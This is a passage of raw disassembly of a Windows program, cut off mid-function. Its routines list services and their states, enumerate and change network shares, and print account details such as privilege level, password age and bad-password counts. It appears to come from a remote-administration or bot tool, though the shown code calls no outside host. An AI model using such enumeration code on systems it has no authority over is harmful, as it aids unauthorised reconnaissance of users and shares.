call dword_421088 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_412D8F
; ---------------------------------------------------------------------------
loc_412D1A: ; CODE XREF: sub_412CF3+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_43C43C
mov esi, eax
cmp esi, ebx
jnz short loc_412D3A
call dword_421088 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_412D87
; ---------------------------------------------------------------------------
loc_412D3A: ; CODE XREF: sub_412CF3+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_412D6D
cmp eax, 3
jz short loc_412D5E
jle short loc_412D80
cmp eax, 6
jg short loc_412D80
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_43C4A4
jmp short loc_412D74
; ---------------------------------------------------------------------------
loc_412D5E: ; CODE XREF: sub_412CF3+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_43C444
jmp short loc_412D74
; ---------------------------------------------------------------------------
loc_412D6D: ; CODE XREF: sub_412CF3+4Dj
push esi
call dword_43C4A8
loc_412D74: ; CODE XREF: sub_412CF3+69j
; sub_412CF3+78j
test eax, eax
jnz short loc_412D80
call dword_421088 ; RtlGetLastWin32Error
mov ebx, eax
loc_412D80: ; CODE XREF: sub_412CF3+54j
; sub_412CF3+59j ...
push esi
call dword_43C458
loc_412D87: ; CODE XREF: sub_412CF3+45j
push edi
call dword_43C458
pop esi
loc_412D8F: ; CODE XREF: sub_412CF3+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_412CF3 endp
; =============== S U B R O U T I N E =======================================
sub_412D95 proc near ; CODE XREF: sub_412C6C+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_412E4A
jz loc_412E43
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_412E0D
jz short loc_412E03
mov ecx, eax
sub ecx, 3
jz short loc_412DF9
dec ecx
dec ecx
jz short loc_412DEF
dec ecx
jz short loc_412DE5
sub ecx, 51h
jz short loc_412DDB
sub ecx, 24h
jnz loc_412EC0 ; default
; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412DDB: ; CODE XREF: sub_412D95+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412DE5: ; CODE XREF: sub_412D95+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412DEF: ; CODE XREF: sub_412D95+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412DF9: ; CODE XREF: sub_412D95+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412E03: ; CODE XREF: sub_412D95+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412E0D: ; CODE XREF: sub_412D95+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_412E3C
dec ecx
jz short loc_412E35
dec ecx
jz short loc_412E2E
dec ecx
jnz loc_412EC0 ; default
; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_412EB2
; ---------------------------------------------------------------------------
loc_412E2E: ; CODE XREF: sub_412D95+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E35: ; CODE XREF: sub_412D95+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E3C: ; CODE XREF: sub_412D95+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E43: ; CODE XREF: sub_412D95+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E4A: ; CODE XREF: sub_412D95+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_412EC0 ; default
; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
jz short loc_412EAD
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_412EC0 ; default
; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_412F01[ecx]
jmp off_412ED9[ecx*4] ; switch jump
loc_412E6E: ; DATA XREF: seg001:off_412ED9o
push offset aTheSpecifiedDa ; jumptable 00412E67 case 7
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E75: ; CODE XREF: sub_412D95+D2j
; DATA XREF: seg001:off_412ED9o
push offset aTheServiceDepe ; jumptable 00412E67 case 17
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E7C: ; CODE XREF: sub_412D95+D2j
; DATA XREF: seg001:off_412ED9o
push offset aTheServiceDe_0 ; jumptable 00412E67 case 10
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E83: ; CODE XREF: sub_412D95+D2j
; DATA XREF: seg001:off_412ED9o
push offset aTheServiceHasB ; jumptable 00412E67 case 0
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E8A: ; CODE XREF: sub_412D95+D2j
; DATA XREF: seg001:off_412ED9o
push offset aTheSpecified_0 ; jumptable 00412E67 case 2
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E91: ; CODE XREF: sub_412D95+D2j
; DATA XREF: seg001:off_412ED9o
push offset aTheServiceCoul ; jumptable 00412E67 case 11
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E98: ; CODE XREF: sub_412D95+D2j
; DATA XREF: seg001:off_412ED9o
push offset aTheServiceHa_0 ; jumptable 00412E67 case 14
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412E9F: ; CODE XREF: sub_412D95+D2j
; DATA XREF: seg001:off_412ED9o
push offset aTheRequested_1 ; jumptable 00412E67 case 3
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412EA6: ; CODE XREF: sub_412D95+D2j
; DATA XREF: seg001:off_412ED9o
push offset aTheServiceHasN ; jumptable 00412E67 case 4
jmp short loc_412EB2
; ---------------------------------------------------------------------------
loc_412EAD: ; CODE XREF: sub_412D95+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_412EB2: ; CODE XREF: sub_412D95+41j
; sub_412D95+4Bj ...
push offset dword_46AB38
call sub_415316
pop ecx
pop ecx
jmp short loc_412ED3
; ---------------------------------------------------------------------------
loc_412EC0: ; CODE XREF: sub_412D95+36j
; sub_412D95+89j ...
push eax ; default
; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_46AB38
call sub_415316
add esp, 0Ch
loc_412ED3: ; CODE XREF: sub_412D95+129j
mov eax, offset dword_46AB38
retn
sub_412D95 endp
; ---------------------------------------------------------------------------
off_412ED9 dd offset loc_412E83 ; DATA XREF: sub_412D95+D2r
dd offset loc_412E8A ; jump table for switch statement
dd offset loc_412E9F
dd offset loc_412EA6
dd offset loc_412E6E
dd offset loc_412E7C
dd offset loc_412E91
dd offset loc_412E98
dd offset loc_412E75
dd offset loc_412EC0
byte_412F01 db 0, 9, 1, 2 ; DATA XREF: sub_412D95+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412F13 proc near ; CODE XREF: sub_40CD3A+1E8Cp
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_43C548
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_412F4B: ; CODE XREF: sub_412F13+123j
lea eax, [ebp+var_8]
loc_412F4E: ; DATA XREF: seg001:off_42B8D4o
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_43C514
test eax, eax
jnz short loc_412F85
call dword_421088 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_41303C
loc_412F85: ; CODE XREF: sub_412F13+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_413033
lea esi, [ebp+var_188]
loc_412F96: ; CODE XREF: sub_412F13+11Aj
mov eax, [esi+8]
dec eax
jz short loc_412FE2
dec eax
jz short loc_412FDB
dec eax
jz short loc_412FD4
dec eax
jz short loc_412FCD
dec eax
jz short loc_412FC6
dec eax
jz short loc_412FBF
dec eax
lea eax, [ebp+var_20]
jz short loc_412FB8
push offset aUnknown_1 ; " Unknown"
jmp short loc_412FEA
; ---------------------------------------------------------------------------
loc_412FB8: ; CODE XREF: sub_412F13+9Cj
push offset aPaused_0 ; " Paused"
jmp short loc_412FEA
; ---------------------------------------------------------------------------
loc_412FBF: ; CODE XREF: sub_412F13+96j
push offset aPausing ; " Pausing"
jmp short loc_412FE7
; ---------------------------------------------------------------------------
loc_412FC6: ; CODE XREF: sub_412F13+93j
push offset aContinuing ; " Continuing"
jmp short loc_412FE7
; ---------------------------------------------------------------------------
loc_412FCD: ; CODE XREF: sub_412F13+90j
push offset aRunning_0 ; " Running"
jmp short loc_412FE7
; ---------------------------------------------------------------------------
loc_412FD4: ; CODE XREF: sub_412F13+8Dj
push offset aStoping ; " Stoping"
jmp short loc_412FE7
; ---------------------------------------------------------------------------
loc_412FDB: ; CODE XREF: sub_412F13+8Aj
push offset aStarting ; " Starting"
jmp short loc_412FE7
; ---------------------------------------------------------------------------
loc_412FE2: ; CODE XREF: sub_412F13+87j
push offset aStopped ; " Stopped"
loc_412FE7: ; CODE XREF: sub_412F13+B1j
; sub_412F13+B8j ...
lea eax, [ebp+var_20]
loc_412FEA: ; CODE XREF: sub_412F13+A3j
; sub_412F13+AAj
push eax
call sub_415316
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_415316
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_412F96
loc_413033: ; CODE XREF: sub_412F13+77j
cmp [ebp+var_8], ebx
jnz loc_412F4B
loc_41303C: ; CODE XREF: sub_412F13+6Cj
push [ebp+var_C]
call dword_43C458
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_412F13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413053 proc near ; CODE XREF: sub_40CD3A:loc_40EC86p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_4130EC
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_41307C
dec eax
jnz short loc_4130CC
push edi
push 0
call sub_413225
pop ecx
pop ecx
jmp short loc_4130C8
; ---------------------------------------------------------------------------
loc_41307C: ; CODE XREF: sub_413053+18j
cmp [ebp+arg_8], 0
jnz short loc_4130BA
push 24h
push edi
call sub_416F20
pop ecx
test eax, eax
pop ecx
jnz short loc_4130BA
push 57h
pop eax
loc_413093: ; CODE XREF: sub_413053+77j
push eax
call sub_4139F3
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_46AE00
push off_4367B0[eax*4]
push offset dword_436ECC
push esi
call sub_415316
add esp, 18h
jmp short loc_41310C
; ---------------------------------------------------------------------------
loc_4130BA: ; CODE XREF: sub_413053+2Dj
; sub_413053+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_413179
add esp, 0Ch
loc_4130C8: ; CODE XREF: sub_413053+27j
test eax, eax
jnz short loc_413093
loc_4130CC: ; CODE XREF: sub_413053+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_46AE00
push off_4367B4[eax*4]
push offset dword_436E9C
push esi
call sub_415316
add esp, 10h
jmp short loc_41310C
; ---------------------------------------------------------------------------
loc_4130EC: ; CODE XREF: sub_413053+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_46AE00
lea eax, [eax+eax*2]
push off_4367B0[eax*4]
push offset dword_436E64
push esi
call sub_415316
add esp, 0Ch
loc_41310C: ; CODE XREF: sub_413053+65j
; sub_413053+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_413053 endp
; =============== S U B R O U T I N E =======================================
sub_413112 proc near ; CODE XREF: sub_414500+247p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_41311F
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41311F: ; CODE XREF: sub_413112+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_421138
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_46B000, 1
mov ebp, eax
jnz short loc_41315C
or byte_46B000, 1
lea eax, [ebp+1]
push eax
call sub_416655
pop ecx
mov dword_46AD98, eax
loc_41315C: ; CODE XREF: sub_413112+32j
push esi
push esi
push ebp
push dword_46AD98
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_46AD98
pop edi
pop ebp
pop ebx
pop esi
retn
sub_413112 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413179 proc near ; CODE XREF: sub_413053+6Dp
; sub_414826+18Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_4131E4
push [ebp+arg_4]
mov edi, eax
call sub_4131E4
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_416F20
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_4131E4
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_43C454
pop edi
leave
retn
sub_413179 endp
; =============== S U B R O U T I N E =======================================
sub_4131E4 proc near ; CODE XREF: sub_413179+Ap
; sub_413179+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_4131F1
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4131F1: ; CODE XREF: sub_4131E4+9j
push ebx
push esi
mov esi, dword_421064
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_416655
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_4131E4 endp
; =============== S U B R O U T I N E =======================================
sub_413225 proc near ; CODE XREF: sub_413053+20p
; sub_414500+1BCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4131E4
push [esp+8+arg_4]
mov esi, eax
call sub_4131E4
pop ecx
pop ecx
push 0
push eax
push esi
call dword_43C42C
pop esi
retn
sub_413225 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413248 proc near ; CODE XREF: sub_40CD3A+1F78p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_4131E4
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 18h
loc_413281: ; CODE XREF: sub_413248+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_43C4A0
mov ebx, eax
cmp ebx, esi
jz short loc_4132E4
cmp ebx, 0EAh
jz short loc_4132E4
push ebx
push ebx
call sub_4139F3
pop ecx
push eax
lea eax, [ebp+var_210]
push offset dword_436F2C
push eax
call sub_415316
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 24h
jmp short loc_413351
; ---------------------------------------------------------------------------
loc_4132E4: ; CODE XREF: sub_413248+5Dj
; sub_413248+65j
xor edi, edi
inc edi
cmp [ebp+arg_C], edi
jb short loc_413348
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_4132F2: ; CODE XREF: sub_413248+FCj
push dword ptr [esi+10h]
call dword_43C448
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_413309
mov eax, offset aNo ; "No"
loc_413309: ; CODE XREF: sub_413248+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_415316
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_4132F2
xor esi, esi
loc_413348: ; CODE XREF: sub_413248+A2j
push [ebp+var_4]
call dword_43C5E4
loc_413351: ; CODE XREF: sub_413248+9Aj
cmp ebx, 0EAh
jz loc_413281
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_413248 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413369 proc near ; CODE XREF: sub_40CD3A:loc_40ED22p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_41340D
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_4133AB
dec eax
jz short loc_4133A0
dec eax
jnz short loc_4133C6
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_4134AF
add esp, 14h
jmp short loc_4133C2
; ---------------------------------------------------------------------------
loc_4133A0: ; CODE XREF: sub_413369+1Dj
push ebx
push edi
call sub_41348E
pop ecx
pop ecx
jmp short loc_4133C2
; ---------------------------------------------------------------------------
loc_4133AB: ; CODE XREF: sub_413369+1Aj
cmp [ebp+arg_8], edi
jz short loc_4133BF
push [ebp+arg_8]
push ebx
push edi
call sub_413434
add esp, 0Ch
jmp short loc_4133C2
; ---------------------------------------------------------------------------
loc_4133BF: ; CODE XREF: sub_413369+45j
push 57h
pop eax
loc_4133C2: ; CODE XREF: sub_413369+35j
; sub_413369+40j ...
cmp eax, edi
jnz short loc_4133E6
loc_4133C6: ; CODE XREF: sub_413369+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_46B008
push off_4367B4[eax*4]
push offset dword_437020
push esi
call sub_415316
add esp, 10h
jmp short loc_41342D
; ---------------------------------------------------------------------------
loc_4133E6: ; CODE XREF: sub_413369+5Bj
push eax
call sub_4139F3
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_46B008
push off_4367B0[eax*4]
push offset dword_436FE0
push esi
call sub_415316
add esp, 18h
jmp short loc_41342D
; ---------------------------------------------------------------------------
loc_41340D: ; CODE XREF: sub_413369+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_46B008
lea eax, [eax+eax*2]
push off_4367B0[eax*4]
push offset dword_436FA0
push esi
call sub_415316
add esp, 0Ch
loc_41342D: ; CODE XREF: sub_413369+7Bj
; sub_413369+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_413369 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413434 proc near ; CODE XREF: sub_413369+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_4131E4
push [ebp+arg_4]
mov edi, eax
call sub_4131E4
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_4131E4
add esp, 0Ch
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_8], 0
lea ecx, [ebp+var_4]
mov [ebp+var_20], eax
xor eax, eax
push ecx
lea ecx, [ebp+var_24]
inc eax
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_43C438
pop edi
leave
retn
sub_413434 endp
; =============== S U B R O U T I N E =======================================
sub_41348E proc near ; CODE XREF: sub_413369+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4131E4
push [esp+8+arg_4]
mov esi, eax
call sub_4131E4
pop ecx
pop ecx
push eax
push esi
call dword_43C428
pop esi
retn
sub_41348E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4134AF proc near ; CODE XREF: sub_413369+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_4131E4
push [ebp+arg_4]
mov esi, eax
call sub_4131E4
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_43C5AC
test eax, eax
mov [ebp+arg_0], eax
jnz loc_41383C
mov eax, [ebp+var_4]
test eax, eax
jz loc_413877
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_415316
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_4135C8
dec eax
jz short loc_4135C1
dec eax
jz short loc_4135BA
mov eax, offset aUnknown ; "Unknown"
jmp short loc_4135CD
; ---------------------------------------------------------------------------
loc_4135BA: ; CODE XREF: sub_4134AF+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_4135CD
; ---------------------------------------------------------------------------
loc_4135C1: ; CODE XREF: sub_4134AF+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_4135CD
; ---------------------------------------------------------------------------
loc_4135C8: ; CODE XREF: sub_4134AF+FCj
mov eax, offset aGuest ; "Guest"
loc_4135CD: ; CODE XREF: sub_4134AF+109j
; sub_4134AF+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
add esp, 20h
pop edi
pop ebx
jmp short loc_413868
; ---------------------------------------------------------------------------
loc_41383C: ; CODE XREF: sub_4134AF+35j
push eax
lea eax, [ebp+var_204]
push offset dword_437054
push eax
call sub_415316
push 0
lea eax, [ebp+var_204]
